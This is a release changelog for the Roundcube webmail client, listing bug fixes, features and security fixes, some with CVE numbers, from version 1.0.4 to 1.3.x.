- Fix bug where pink image was used instead of a thumbnail when image resize fails (#5933)
- Fix so files size/count limit is verified (client-side) also on drag-n-drop uploads (#5940)
- Fix invalid template loading on a message error in preview frame (#5941)
- Fix bug where HTML messages could have been rendered empty on some systems (#5957)
- Fix wording of "Mark previewed messages as read" to "Mark messages as read" (#5952)
- Enigma: Fix decryption of messages encoded with non-ascii charset (#5962)
- Fix missing cursor in HTML editor on mail reply (#5969)
- Fix (again) bug where image data URIs in css style were treated as evil/remote in mail preview (#5580)
- Fix bug where mail search could return empty result on servers without SORT capability (#5973)
- Fix bug where assets_path wasn't added to some watermark frames
- Fix so untagged COPYUID responses are also supported according to RFC6851 (#5982)
- Fix issue caused by non-default session.cookie_lifetime setting (#5961)
- Fix Edge encoding bug when pasting text into the HTML editor, update to TinyMCE 4.5.8 (#5885)
- Fix handling of unknown Content-Disposition type (#6002)
- Fix truncated folder name on messages list in multi-folder mode, for folders with non-ascii characters (#6004)
- Fix bug where removing the last subfolder did not hide toggle button on its parent record (#6007)
- Fix bug where ghost messages could be added to the list after fast delete (#5941)

## Release 1.3.1

- Add Preferences > Mailbox View > Main Options > Layout (#5829)
- Password: Fix compatibility with PHP 7+ in cpanel_webmail driver (#5820)
- Managesieve: Fix parsing dot-staffed lines in multiline text (#5838)
- Managesieve: Fix AM/PM suffix in vacation time selectors
- Managesieve: Fix bug where 'exists' operator was reset to 'contains' (#5899)
- Remove non-printable characters from filenames on download/display (#5880)
- Fix decoding non-ascii attachment names from TNEF attachments (#5646, #5799)
- Fix uninitialized string offset in rcube_utils::bin2ascii() and make sure rcube_utils::random_bytes() result has always requested length (#5788)
- Fix bug where HTML messages with @media styles could modify style of page body (#5811)
- Fix style issue on selected and unfocused message that is part of a thread (#5798)
- Fix bug where a.button style from managesieve plugin could impact other elements (#5800)
- Fix position of selected icon for (Mailvelope) Encrypt button
- Fix fatal error when using DMY- or MDY-based date format in PostgreSQL (#5808)
- Fix bug where errors were not printed when using bin/update.sh (#5834)
- Fix PHP 7.2 warnings on count() use (#5845)
- Fix bug where Chrome could not upload the same file that was selected before (#5854)
- Fix duplicate messages on the list after deleting messages on the next to the last page (#5862)
- Fix bug where messages count was not updated after delete when imap_cache is set (#5872)
- Fix potential XSS vulnerability with malformed HTML message markup
- Fix sending message with "Too many public recipients" dialog buttons (#5924)
- Bring back double-click behavior on the message list which was removed in 1.3.0 (#5823)
- Enigma: Fix decrypting an encrypted+signed message when signature verification fails (#5914)

## Release 1.3.0

- Update to TinyMCE 4.5.7
- Fix bug where invalid recipients could be silently discarded (#5739)
- Fix conflict with _gid cookie of Google Analytics (#5748)
- Print error from CLI scripts when system/exec function is disabled (#5744)
- Fix bug where comment notation within style tag would cause the whole style to be ignored (#5747)
- Fix bug where it wasn't possible to scroll folders list in Edge (#5750)
- Fix folders list sorting on Windows - if php-intl is available (#5732)
- Fix addressbook searching by gender (#5757)
- Fix prevention from using % and * characters in folder name (#5762)
- Fix POST parameter reflection in default_charset selector (#5768)
- Enigma: Fix compatibility with assets_dir
- Managesieve: Skip redundant LISTSCRIPTS command
- Fix SQL syntax error on MariaDB 10.2 (#5774)
- Fix bug where zipdownload ignored files with the same name (#5777)
- Fix bug where it wasn't possible to set timezone to auto-detected value (#5782)

## Release 1.3-rc

- "Flattened" the larry theme: fresher look by removing shadows and gradients
- Support logging to php://stdout (#5721)
- Add support for DelSp=Yes in format=flowed messages (#5702)
- Update to jQuery 3.2.1
- Update to TinyMCE 4.5.6
- Plugin API: Call message_part_structure hook for sub-parts of multipart/alternative message (#5678)
- Enigma: Always use detached signatures (#5624)
- Enigma: Fix handling of messages with nested PGP encrypted parts (#5634)
- Minimize unwanted message loading in preview frame on drag (#5616)
- Fix failing database schema check in all engines except mysql (#5730)
- Fix autocomplete popup closing with click outside the input, don't handle Tab key as Enter (#5606)
- Fix jsdeps.json synchronization on update, warn about missing requirements of install-jsdeps.sh (#5598)
- Fix missing thread expand icon on search result in widescreen mode (#5613)
- Fix bug where image data URIs in css style were treated as evil/remote in mail preview (#5580)
- Fix bug where external content in src attribute of input/video tags was not secured (#5583)
- Fix PHP error on update of a contact with multiple email addresses when using PHP 7.1 (#5587)
- Fix bug where mail content frame couldn't be reset in some corner cases (#5608)
- Fix bug where some classic skin images were not displayed in IE/Edge (#5614)
- Fix bug where signature couldn't be added above the quote in Firefox 51 (#5628)
- Fix regression where groups with email address were resolved to its members' addresses
- Fix update of group name in the contacts list header on group rename (#5648)
- Add rewrite rule to disable access to /vendor/bin folder in .htaccess (#5630)
- Fix bug where it was too easy accidentally move a folder when using the subscription checkbox (#5655)
- Managesieve: Fix parser issue with empty lines between comments (#5657)
- Managesieve: Fix possible defect in handling \r\n in scripts (#5685)
- Fix/rephrase "unsaved changes" warning when cancelling a draft (#5610)
- Fix XSS issue in handling of a style tag inside of an svg element [CVE-2017-6820]
- Fix bug where settings/upload.inc could not be used by plugins (#5694)
- Fix regression in LDAP fuzzy search where it always used prefix search instead (#5713)
- Fix bug where namespace prefix could not be truncated on folders list if show_real_foldernames=true (#5695)
- Fix undesired effects when postgres database uses different timezone than PHP host (#5708)
- Installer: Fix DB schema initialization on MS SQL Server
- Fix bug where base_dn setting was ignored inside group_filters (#5720)
- Password: Fix security issue in virtualmin and sasl drivers [CVE-2017-8114]

## Release 1.3-beta

- Nicely handle contact deletion on contact edit (#5522)
- vcard_attachments: Add possibility to attach contact vCard to composed message (#4997)
- Preserve message internal/received date on import in mbox format (#5559)
- Zipdownload: Fix date format in mbox "From line"
- Possibility to display QR code for contacts data (#5030)
- Added identicon plugin
- Widescreen layout aka three column view (#5093)
- Unify automatic marking as \Seen in preview pane, full-page and extwin views (#5071)
- Disable double-click on the list when preview pane is on (#5199)
- Support hostname and hostname:port in force_https option (#5511)
- Support ALLOW-FROM in x_frame_options (#5122)
- Allow to omit a subject when sending an email (#5068)
- Warn about too many disclosed recipients in composed email [max_disclosed_recipients] (#5132)
- identity_select: Support Received header (#5085)
- Plugin API: Added get_compose_responses hook (#5457)
- Display error when trying to upload more files than specified in max_file_uploads (#5483)
- Add missing sql upgrade file for 'ip' column resize in session table (#5465)
- Do not show inline images of unsupported mimetype (#5463)
- Password: Added replacement variables support in password_pop_host (#5539)
- Password: Don't store passwords in temp files when using dovecotpw (#5531)
- Password: Added LDAP PPolicy driver (#5364)
- Password: Added cpanel_webmail driver (#5549)
- Password: Added possibility to nicely redirect from other plugins on password expiration (#5468)
- Implement separate action to mark all messages in a folder as \Seen (#5006)
- Implement marking as \Seen in all folders or in a folder and its subfolders (#5076)
- Archive: Don't reload messages list when it's not needed (#5225)
- Archive: Add option to automatically mark archived messages as \Seen (#5142)
- Improve randomness of password salts and random hashes (#5266)
- Password/cPanel: Add support for hash authentication and reseller accounts (#5252)
- Support host-specific imap_conn_options/smtp_conn_options/managesieve_conn_options (#5136)
- Center and scale images in attachment preview frame (#5421)
- Added max_message_size option enforced when attaching files to a composed message (#4993)
- Added Search button in quick search menus (#5312)
- Implement "one click" attachment/messages/photo upload (#5024)
- Squirrelmail_usercopy: Add option to define character set of data files
- Removed useless 'created' column from 'session' table (#5389)
- Dropped legacy browsers support (#5167)
    - Removed legacy_browser plugin
    - Removed hacks for IE < 10
    - Update to jQuery 3.1.1 and jQuery-UI 1.12.0
    - compile .min.js files with ECMASCRIPT5 option
- Require PHP >= 5.4
- Add possibility to preview and download attachments in mail compose (#5053)
- Add possibility to rename attachments in mail compose (#4996)
- Remove backward compatibility "layer" of bc.php (#4902)
- Support WEBP images in mail messages (#5362)
- Support MathML in HTML message preview (#5182)
- Rename Addressbook to Contacts (#5233)
- Remove PHP mail() support, smtp_server is required now (#5340)
- Display full message subject in onmouseover on truncated subject in mail view (#5346)
- Enigma: Support GnuPG 2.1 (#5313)
- Enigma: Support key generation for multiple identities (#5383)
- Enigma: Import keys from key-server(s) (#5286)
- Enigma: Search missing public keys on a key-server in mail compose (#5286)
- Enigma: Delete user keys when using deluser.sh script
- Enigma: Fix redundant list-secret-keys/list-public-keys calls on signing/encryption
- Enigma: Implement PGP encryption and signing in one go (#5302)
- Enigma: Display signature verification status for encrypted+signed messages (#5302)
- Display different attachment icon on encrypted messages
- Display different confirmation text when moving messages to Trash (#5220)
- Indicate that a collapsed thread has flagged children (#5013)
- Implemented message/rfc822 attachment preview
- Update to jsTimezoneDetect 1.0.6
- Managesieve: Add (optional) RAW script editor (#5414)
- Managesieve: Add option to automatically set vacation :from address (#5428)
- Managesieve: Support 'string' test from variables extension [RFC 5229] (#5248)
- Managesieve: Support 'duplicate' extension [RFC 7352]
- Managesieve: Unhide advanced rule controls if there are inputs with errors
- Managesieve: Display warning message when filter form contains errors
- Control search engine crawlers via X-Robots-Tag header instead of `<meta>` and robots.txt (#5098)
- Fixed redundancy in sql caching system and compatibility with Galera Cluster (#5439)
    - Removed redundant 'created' column from cache and cache_shared tables
    - Removed use of redundant data records
    - Added missing primary keys (dictionary, cache, cache_shared tables)
- Fix so templating system does not mess with external (e.g. email) content (#5499)
- Fix redundant keep-alive/refresh after session error on compose page (#5500)
- Managesieve: Fix handling of scripts with nested rules (#5540)
- Fix variable substitution in ldap host for some use-cases, e.g. new_user_identity (#5544)
- Enigma: Fix PHP fatal error when decrypting a message with invalid signature (#5555)
- Fix adding images to new identity signatures
- Fix rsync error handling in installto.sh script (#5562)
- Fix some advanced search issues with multiple addressbooks (#5572)
- Fix so group/addressbook selection is retained on page refresh

## Release 1.2.3

- Searching in both contacts and groups when LDAP addressbook with group_filters option is used
- Fix vulnerability in handling of mail()'s 5th argument
- Fix To: header encoding in mail sent with mail() method (#5475)
- Fix flickering of header topline in min-mode (#5426)
- Fix bug where folders list would scroll to top when clicking on subscription checkbox (#5447)
- Fix decoding of GB2312/GBK text when iconv is not installed (#5448)
- Fix regression where creation of default folders wasn't functioning without prefix (#5460)
- Enigma: Fix bug where last records on keys list were hidden (#5461)
- Enigma: Fix key search with keyword containing non-ascii characters (#5459)
- Fix bug where deleting folders with subfolders could fail in some cases (#5466)
- Fix bug where IMAP password could be exposed via error message (#5472)
- Fix bug where it wasn't possible to store more that 2MB objects in memcache/apc,
  Added memcache_max_allowed_packet and apc_max_allowed_packet settings (#5452)
- Fix "Illegal string offset" warning in rcube::log_bug() on PHP 7.1 (#5508)
- Fix storing "empty" values in rcube_cache/rcube_cache_shared (#5519)
- Fix missing content check when image resize fails on attachment thumbnail generation (#5485)
- Fix displaying attached images with wrong Content-Type specified (#5527)

## Release 1.2.2

- Enigma: Add possibility to configure gpg-agent binary location (enigma_pgp_agent)
- Enigma: Fix signature verification with some IMAP servers, e.g. Gmail, DBMail (#5371)
- Enigma: Make recipient key searches case-insensitive (#5434)
- Fix regression in resizing JPEG images with Imagick (#5376)
- Managesieve: Fix parsing of vacation date-time with non-default date_format (#5372)
- Use SymLinksIfOwnerMatch in .htaccess instead of FollowSymLinks disabled on some hosts for security reasons (#5370)
- Wash position:fixed style in HTML mail for better security (#5264)
- Fix bug where memcache_debug didn't work for session operations
- Fix bug where Message-ID domain part was tied to username instead of current identity (#5385)
- Fix bug where blocked.gif couldn't be attached to reply/forward with insecure content
- Fix E_DEPRECATED warning when using Auth_SASL::factory() (#5401)
- Fix bug where names of downloaded files could be malformed when derived from the message subject (#5404)
- Fix so "All" messages selection is reset on search reset (#5413)
- Fix bug where folder creation could fail if personal namespace contained more than one entry (#5403)
- Fix error causing empty INBOX listing in Firefox when using an URL with user:password specified (#5400)
- Fix PHP warning when handling shared namespace with empty prefix (#5420)
- Fix so folders list is scrolled to the selected folder on page load (#5424)
- Fix so when moving to Trash we make sure the folder exists (#5192)
- Fix displaying size of attachments with zero size
- Fix so "Action disabled" error uses more appropriate 404 code (#5440)

## Release 1.2.1

- Update TinyMCE to version 4.3.13 (#5309)
- Fix bug where errors could have been not logged when per_user_logging=true
- Fix bug where message list columns could be in wrong order after column drag-n-drop and list sorting
- Fix so minified publickey.js (with cache-buster) is used when available (#5254)
- Fix (replace) application/x-tar file extension test as it might not exist in nginx config (#5253)
- Fix PHP warning when password_hosts is set, but is not an array (#5260)
- Fix redundant keep-alive requests when session_lifetime is greater than ~20000 (#5273)
- Fix so subfolders of INBOX can be set as Archive (#5274)
- Fix bug where multi-folder search could choose a wrong folder in "this and subfolders" scope (#5282)
- Fix bug where multi-folder search didn't work for unsubscribed INBOX (#5259)
- Fix bug where "no body" alert could be displayed when sending mailvelope email
- Enigma: Fix keys import from inside of an encrypted message (#5285)
- Enigma: Fix malformed signed messages with force_7bit=true (#5292)
- Enigma: Add possibility to configure gpg binary location (enigma_pgp_binary)
- Enigma: Add possibility to export private keys (#5321)
- Fix searching by email address in contacts with multiple addresses (#5291)
- Fix handling of --delete argument in moduserprefs.sh script (#5296)
- Workaround PHP issue by calling closelog() on script shutdown when using log_driver=syslog (#5289)
- Fix so upgrade script makes sure program/lib directory does not contain old libraries (#5287)
- Fix subscription checkbox state on error in folder subscribe/unsubscribe action (#5243)
- Fix bug where microsecond format in logged date didn't work in some cases
- Fix conflict in new_user_dialog and password_force_new_user settings (#5275)
- Don't create multipart/alternative messages with empty text/plain part (#5283)
- Use contact_search_name format in popup on results in compose contacts search
- Fix handling of 'mailto' and 'error' arguments in message_before_send hook (#5347)
- Fix missing localization of HTML editor when assets_dir != INSTALL_PATH
- Fix handling of blockquote tags with mixed case on html2text conversion (#5363)
- Fix javascript errors in IE on page with iframe that points to another domain

## Release 1.2.0

- Enigma: Added enigma_debug option
- Fix message list multi-select/deselect issue (#5219)
- Fix bug where getting HTML editor content could steal focus from other form controls (#5223)
- Fix bug where contact search menu fields where always unchecked in Larry skin
- Fix autoloading of 'html' class
- Fix bug where Encrypt button appears when switching editor to HTML (#5235)
- Fix XSS issue in href attribute on area tag (#5240)

## Release 1.2-rc

- Managesieve: Refactored script parser to be 100x faster
- Enigma: added option to force users to use signing/encryption
- Enigma: Added option to attach public keys to sent mail (#5152)
- Enigma: Handle messages with text before an encrypted block (#5149)
- Enigma: Handle encrypted/signed content inside message/rfc822 attachments
- Enigma: Fix missing html/plain switch on multipart/signed messages (#4963)
- Enigma: Disable format=flowed for signed plain text messages (#4960)
- Enigma: Fix handling of encrypted + signed messages (#4950)
- Enigma: Fix invalid boundary use in signed messages structure
- Enable use of TLSv1.1 and TLSv1.2 for IMAP (#4955)
- Save copy of original .htaccess file when using installto.sh script (#4947)
- Fix regression where some message attachments could be missing on edit/forward (#4939)
- Fix regression in displaying contents of message/rfc822 parts (#4937)
- Fix handling of message/rfc822 attachments on replies and forwards (#4938)
- Fix PDF support detection in Firefox > 19 (#4941)
- Fix path traversal vulnerability in setting a skin [CVE-2015-8770] (#4945)
- Fix so drag-n-drop of text (e.g. recipient addresses) on compose page actually works (#4944)
- Fix .htaccess rewrite rules to not block .well-known URIs (#4943)
- Fix mail view scaling on iOS (#4915)
- Fix PHP7 warning "session_start(): Session callback expects true/false return value" (#4948)
- Fix XSS issue in SVG images handling [CVE-2015-8864, CVE-2016-4068] (#4949)
- Fix missing language name in "Add to Dictionary" request in HTML mode (#4951)
- Fix (again) security issue in DBMail driver of password plugin [CVE-2015-2181] (#4958)
- Fix bug where Archive/Junk buttons were not active after page jump with select=all mode (#4961)
- Fix bug in long recipients list parsing for cases where recipient name contained @-char (#4964)
- Plugin API: Added addressbook_export hook
- Fix additional_message_headers plugin compatibility with Mail_Mime >= 1.9 (#4966)
- Hide DSN option in Preferences when smtp_server is not used (#4967)
- Fix handling of body parameter in mail compose request
- Protect download urls against CSRF using unique request tokens [CVE-2016-4069] (#4957)
- newmail_notifier: Refactor desktop notifications
- Fix so contactlist_fields option can be set via config file
- Fix so SPECIAL-USE assignments are forced only until user sets special folders (#4782)
- Fix performance in reverting order of THREAD result
- Fix converting mail addresses with @www. into mailto links (#5197)

## Release 1.2-beta

- Update TinyMCE to version 4.2
- Added support for Redis session handler
- Removed some deprecated methods: https://github.com/roundcube/roundcubemail/commit/454b0b1c
- Remove backward compatibility "layer" of bc.php (#4902)
- Add possibility to define date format in write operations for ldap attributes (#3956)
- Display attachment size in compose (#1329)
- Added possibility to drag-n-drop attachments from mail preview to compose window
- Implemented mail messages searching with predefined date interval
- PGP encryption support via Mailvelope integration
- PGP encryption support via Enigma plugin
- PHP7 compatibility fixes (#4836)
- Security: Added brute-force attack prevention via login rate limit (#4922)
- Security: Added options to validate username/password on logon (#4884)
- Security: Improve randomness of security tokens (#4899)
- Security: Use random security tokens instead of hashes based on encryption key (#4829)
- Security: Improved encrypt/decrypt methods with option to choose the cipher_method (#4492)
- Make optional adding of standard signature separator - sig_separator (#3276)
- Optimize folder_size() on Cyrus IMAP by using special folder annotation (#4894)
- Make optional hiding of folders with name starting with a dot - imap_skip_hidden_folders (#4870)
- Add option to enable HTML editor always, except when replying to plain text messages (#4352)
- Emoticons: Added option to switch on/off emoticons in compose editor (#2076)
- Emoticons: Added option to switch on/off emoticons in plain text messages
- Emoticons: All emoticons-related functionality is handled by the plugin now
- Installer: Add button to save generated config file in system temp directory (#3553)
- Remove common subject prefixes Re:, Re[x]:, Re-x: on reply (#4882)
- Added GSSAPI/Kerberos authentication plugin - krb_authentication
- Password: Allow temporarily disabling the plugin functionality with a notice
- Require Mbstring and OpenSSL extensions (#5166)
- Add --config and --type options to moduserprefs.sh script (#4651)
- Implemented memcache_debug and apc_debug options
- Installer: Remove system() function use (#4695)
- Password plugin: Added 'kpasswd' driver by Peter Allgeyer
- Add initdb.sh to create database from initial.sql script with prefix support (#4722)
- Plugin API: Added disabled_plugins an disabled_buttons options in html_editor hook
- Plugin API: Added html2text hook
- Plugin API: Added message_part_body hook
- Plugin API: Added message_ready hook
- Plugin API: Add special onload() method to execute plugin actions before startup (session and GUI initialization)
- Implemented UI element to jump to specified page of the messages list (#1677)
- Fix searching of contacts to allow remote images for known senders (#4886)
- Fix bug where clicking date column with 'arrival' sorting would switch to sorting by 'date' (#4690)
- Fix bug where message content could overlap attachments list in Larry skin (#4876)
- Fix so microseconds macro (u) in log_date_format works (#4855)
- Fix so unrecognized TNEF attachments are displayed on the list of attachments (#5138)
- Fix so database_attachments::cleanup() does not remove attachments from other sessions (#4907)
- Fix responses list update issue after response name change (#4917)
- Fix bug where message preview was unintentionally reset on check-recent action (#4921)
- Fix bug where HTML messages with invalid/excessive css styles couldn't be displayed (#4905)
- Fix redundant blank lines when using HTML and top posting (#4927)
- Fix redundant blank lines on start of text after html to text conversion (#4928)
- Fix HTML sanitizer to skip `<!-- node type X -->` in output (#4932)
- Fix invalid LDAP query in ACL user autocompletion (#4934)

## Release 1.1.3

- Fix closing of nested menus (#4854)
- Fix so E_DEPRECATED errors from PEAR libs are ignored by error_reporting change (#4770)
- Fix compatibility with PHP 5.3 in rcube_ldap class (#4842)
- Get rid of Mail_mimeDecode package dependency (#4836)
- Fix "Importing..." message does not hide on error (#4840)
- Fix Compose action in addressbook for results from multiple addressbooks (#4834)
- Fix bug where some messages in multi-folder search couldn't be viewed/printed/downloaded (#4843)
- Fix unintentional messages list page change on page switch in compose addressbook (#4844)
- Fix race-condition in saving user preferences and loading plugin config (#4845)
- Fix so plain text signature field uses monospace font (#4848)
- Fix so links with href == content aren't added to links list on html to text conversion (#4847)
- Fix handling of non-break spaces in html to text conversion (#4849)
- Fix self-reply detection issues (#4852)
- Fix multi-folder search result sorting by arrival date (#4858)
- Fix so *-request@ addresses in Sender: header are also ignored on reply-all (#4860)
- Update to TinyMCE 4.1.10 (#5164)
- Fix draft removal after a message is sent and storing sent message is disabled (#4869)
- Fix so imap folder attribute comparisons are case-insensitive (#4868)
- Fix bug where new messages weren't added to the list in search mode
- Fix wrong positioning of message list header on page scroll in Webkit browsers (#4646)
- Fix some javascript errors in rare situations (#4853)
- Fix error when using back button after sending an email (#4628)
- Fix removing signature when switching to identity with an empty sig in HTML mode (#4872)
- Disable links list generation on html-to-text conversion of identities or composed message (#4850)
- Fix "washing" of style elements wrapped into many lines
- Fix so input field (e.g. search box) does not loose focus on list load (#4862)
- Fix so css of one html part does not apply to other text parts on message display (#4887)
- Fix XSS issue in drag-n-drop file uploads [CVE-2015-8105] (#4900)
- Fix handling of plus character in mailto: links (#4891)
- Fix so adding CC/BCC recipients from the sidebar unhides compose form fields in Classic skin (#4874)
- Fix so gc.sh script removes also expired sessions from sql database (#4893)
- Fix support for Mozilla-based browsers, e.g. Pale Moon (#4895)
- Fix various issues with Turkish (and similar) locales (#4896)
- Fix so In-Reply-To header is set also for MDN receipts (#4897)
- Fix missing HTTP_X_FORWARDED_FOR address in generated Received header
- Fix issue where Content-Length of some attachments could be set to wrong value causing browser errors (#4877)

## Release 1.1.2

- Add new plugin hook 'identity_create_after' providing the ID of the inserted identity (#4807)
- Add option to place signature at bottom of the quoted text even in top-posting mode [sig_below]
- Fix handling of %-encoded entities in mailto: URLs (#4799)
- Fix zipped messages downloads after selecting all messages in a folder (#4797)
- Fix vpopmaild driver of password plugin
- Fix PHP warning: Non-static method PEAR::setErrorHandling() should not be called statically (#4798)
- Fix tables listing routine on mysql and postgres so it skips system or other database tables and views (#4796)
- Fix message list header in classic skin on window resize in Internet Explorer (#4732)
- Fix so text/calendar parts are listed as attachments even if not marked as such (#4795)
- Fix lack of signature separator for plain text signatures in html mode (#4802)
- Fix font artifact in Google Chrome on Windows (#4803)
- Fix bug where forced extwin page reload could exit from the extwin mode (#4801)
- Fix bug where some unrelated attachments in multipart/related message were not listed (#4805)
- Fix mouseup event handling when dragging a list record (#4808)
- Fix bug where preview_pane setting wasn't always saved into user preferences (#4809)
- Fix bug where messages count was not updated after message move/delete with skip_deleted=false (#4814)
- Fix security issue in contact photo handling (#4817)
- Fix possible memcache/apc cache data consistency issues (#4820)
- Fix bug where imap_conn_options were ignored in IMAP connection test (#4822)
- Fix bug where some files could have "executable" extension when stored in temp folder (#4815)
- Fix attached file path unsetting in database_attachments plugin (#4823)
- Fix issues when using moduserprefs.sh without --user argument (#4825)
- Fix potential info disclosure issue by protecting directory access (#4816)
- Fix blank image in html_signature when saving identity changes (#4833)
- Installer: Use openssl_random_pseudo_bytes() (if available) to generate des_key (#4827)
- Fix XSS vulnerability in _mbox argument handling (#4837)

## Release 1.1.1

- ACL: Allow other plugins to adjust the list of permissions and groups to edit
- Add possibility to print contact information (of a single contact)
- Add possibility to configure max_allowed_packet value for all database engines (#4772)
- Improved handling of storage errors after message is sent
- Update to TinyMCE 4.1.9
- Unified request* event arguments handling, added support for _unlock and _action parameters
- Security: Generate random hash for the per-user local storage prefix (#4768)
- Fix refreshing of drafts list when sending a message which was saved in meantime (#4745)
- Fix saving/sending emoticon images when assets_dir is set
- Fix PHP fatal error when visiting Vacation interface and there's no sieve script yet (#4778)
- Fix setting max packet size for DB caches and check packet size also in shared cache
- Fix needless security warning on BMP attachments display (#4771)
- Fix handling of some improper constructs in format=flowed text as per the RFC3676[4.5] (#4773)
- Fix performance of rcube_db_mysql::get_variable()
- Fix missing or not up-to-date CATEGORIES entry in vCard export (#4766)
- Fix fatal errors on systems without mbstring extension or mb_regex_encoding() function (#4769)
- Fix cursor position on reply below the quote in HTML mode (#4759)
- Fix so "over quota" errors are displayed also in message compose page
- Fix duplicate entries suppression in autocomplete result (#4776)
- Fix "Non-static method PEAR::isError() should not be called statically" errors (#4770)
- Fix parsing invalid HTML messages with BOM after `<!DOCTYPE>` (#4777)
- Fix duplicate entry on timezones list in rcube_config::timezone_name_from_abbr() (#4779)
- Fix so localized folder name is displayed in multi-folder search result (#4750)
- Fix javascript error after creating a folder which is a subfolder of another one (#4781)
- Fix bug where subject of sent/saved message was removed if mbstring wasn't installed (#4780)
- Fix missing vcard_attachment icon on messages list (#4783)
- Fix storing signatures with big images in MySQL database (#4785)
- Fix Opera browser detection in javascript (#4786)
- Fix so search filter, scope and fields are reset on folder change
- Fix rows count when messages search fails (#4760)
- Fix bug where spellchecking in HTML editor do not work after switching editor type more than once (#4789)
- Fix bug where TinyMCE area height was too small on slow network connection (#4788)
- Fix backtick character handling in sql queries (#4790)
- Fix redirect URL for attachments loaded in an iframe when behind a proxy (#4724)
- Fix menu container references to point to the actual `<ul>` element (#4791)
- Fix javascripts errors in IE8 - lack of Event.which, focusing a hidden element (#4793)

## Release 1.1.0

- Make SMTP error log more verbose - include server response and error code
- Fix download options menu (added by zipdownload plugin) in classic skin (#4740)
- Fix blocked.gif image usage with assets_dir set
- Fix bug where max_group_members was ignored when adding a new contact (#4733)
- Hide MDN and DSN options in compose if disabled by admin (#4735)
- Fix checks based on window.ActiveXObject in IE > 10
- Fix XSS issue in style attribute handling [CVE-2015-1433] (#4739)
- Fix bug where Drafts list wasn't updated on draft-save action in new window (#4737)
- Fix so "set as default" option is hidden if identities_level > 1 (#4738)
- Fix bug where search was reset after returning from compose visited for reply
- Fix javascript error in "IE 8.0/Tablet PC" browser (#4730)
- Fix bug where Reply-To address was ignored on reply to messages sent by self (#4742)
- Fix bug where empty fieldmap config entries caused empty results of ldap search (#4741)
- Fix bug where drafts list wasn't refreshed after draft message was sent from another window (#4745)
- Fix keyboard navigation and css in datepicker widget across many Firefox versions
- Fix false warning when opening attached text/plain files (#4748)
- Fix bug where signature could have been inserted twice after plain-to-html switch (#4746)
- Fix security issue in DBMail driver of password plugin (#4757)
- Enable FollowSymLinks option in .htaccess file which is required by rewrite rules (#4754)
- Fix so JSON.parse() errors on localStorage items are ignored (#4752)

## Release 1.1-rc

- Update jQuery to version 2.1.3
- Allow to override any config option through env variables
- Improve system security by using optional special URL with security token - use_secure_urls
- Allow to define separate server/path for image/js/css files - assets_url/assets_dir
- Sync vendor folder if exists in source package (#4700)
- Avoid useless reloading list when resetting search with active filter (#4654)
- Fix invalid folder selection if clicked while busy (#4709)
- Fix import of multiple contact email addresses from Outlook-csv format (#4714)
- Fix drag-n-drop to folders expanded while dragging (#4708)
- Fix import of multiple contact groups from Google-csv format (#4710)
- Fix import of contacts with multiple email addresses from Google-csv format (#4719)
- Fix bugs where CSRF attacks were still possible on some requests [CVE-2014-9587]
- Fix some rcube_utils::anytodatetime() corner cases with timezone mismatches (#4712)
- Improve move-to and contact-export button in classic skin (#4713)
- Fix wrong icon for download button in classic skin
- Fix bug where sent message was saved in Sent folder even if disabled by user (#4729)

## Release 1.1-beta

- Fix skin path handling in plugin context (#4111)
- Prevent memory exhaustion on image resizing with GD on Windows (#4580)
- Add plugin hook for database table name lookups as requested in #4538
- Added Oracle database support
- Support contacts import in GMail CSV format
- Added namespace filter in Folder Manager
- Added folder searching in Folder Manager
- Fix restoring draft messages from localStorage if editor mode differs (#4631)
- Added config option/user preference to disable saving messages in localStorage (#4606)
- Added config option 'imap_log_session' to enable Roundcube and IMAP session ID logging
- Added config option 'log_session_id' to control the length of the session identifier in logs
- Implemented 'storage_connected' API hook after successful IMAP login (#4638)
- Integrate Net_LDAP3 and rcube_ldap_generic classes
- Add option (disabled_actions) to disable UI elements/actions (#4478)
- Support password encryption using openssl extension (#4614)
- Create/rename groups in UI dialogs (#4592)
- Added 'contact_search_name' option to define autocompletion entry format
- Display quota information for current folder not INBOX only (#3442)
- Support images in HTML signatures (#3917)
- Display full quota information in popup (#2103, #2746)
- Mail compose: Selecting contact inserts recipient to previously focused input - to/cc/bcc accordingly (#4487)
- Close "no subject" prompt with Enter key (#4463)
- Password: Add option to force new users to change their password (#2963)
- Improve support for screen readers and assistive technology using WCAG 2.0 and WAI ARIA standards
- Enable basic keyboard navigation throughout the UI (#3333)
- Select/scroll to previously selected message when returning from message page (#4146)
- Display a warning if popup window was blocked (#4472)
- Remove (was: ...) from message subject on reply (#4359)
- Update to TinyMCE 4.1 (#4168)
- Enable autolink plugin in TinyMCE (#4029)
- Support image operations with Imagick extension (#4498)
- Support upload progress with session.upload_progress and PECL uploadprogress module (#3934)
- Make identity name field optional (#4435)
- Utility script to remove user records from the local database
- Plugin API: Added message_saved hook (#4503)
- Plugin API: Added imap_search_before hook
- Support messages import from zip archives
- Zipdownload: Added mbox format support (#2354)
- Drop support for IE6, move IE7/IE8 support to legacy_browser plugin
- Update to jQuery-2.1.1
- Search across multiple folders (#1676)
- Improve UI integration of ACL settings
- Drop support for PHP < 5.3.7
- Set In-Reply-To and References for forwarded messages (#4465)
- Removed redundant default_folders config option (#4500)
- Implemented IMAP SPECIAL-USE extension support [RFC6154] (#3326)
- Optimize some framed pages content for better performance (#4517)
- Improve text messages display and conversion to HTML (#4091)
- Don't remove links when html signature is converted to text (#4473)
- Fix page title when using search filter (#4636)
- Fix mbox files import
- Fix some character sets detection (#4694)
- Fix so attachment charset is set in headers of forward/draft message (#4676)
- Fix bug where wrong charset could be used for text attachment preview page (#4674)

## Release 1.0.5

- Fix wrong icon for download button in classic skin
- Fix checks based on window.ActiveXObject in IE > 10
- Fix XSS issue in style attribute handling (#4739)
- Fix bug where Drafts list wasn't updated on draft-save action in new window (#4737)
- Fix so "set as default" option is hidden if identities_level > 1 (#4738)
- Fix javascript error in "IE 8.0/Tablet PC" browser (#4730)
- Fix bug where empty fieldmap config entries caused empty results of ldap search (#4741)
- Fix bug where sent message was saved in Sent folder even if disabled by user (#4729)

## Release 1.0.4

- Disable TinyMCE contextmenu plugin as there are more cons than pros in using it (#4684)
- Fix bug where show_real_foldernames setting wasn't honored on compose page (#4705)
- Fix issue where Archive folder wasn't protected in Folder Manager (#4706)
- Fix compatibility with PHP 5.2. in rcube_imap_generic (#4682)
- Fix setting flags on servers with no PERMANENTFLAGS response (#4667)
- Fix regression in SHA password generation in ldap driver of password plugin (#4670)
- Fix displaying of HTML messages with absolutely positioned elements in Larry skin (#4672)
- Fix font style display issue in HTML messages with styled `<span>` elements (#4671)
- Fix download of attachments that are part of TNEF message (#4668)
- Fix handling of uuencoded messages if messages_cache is enabled (#4675)
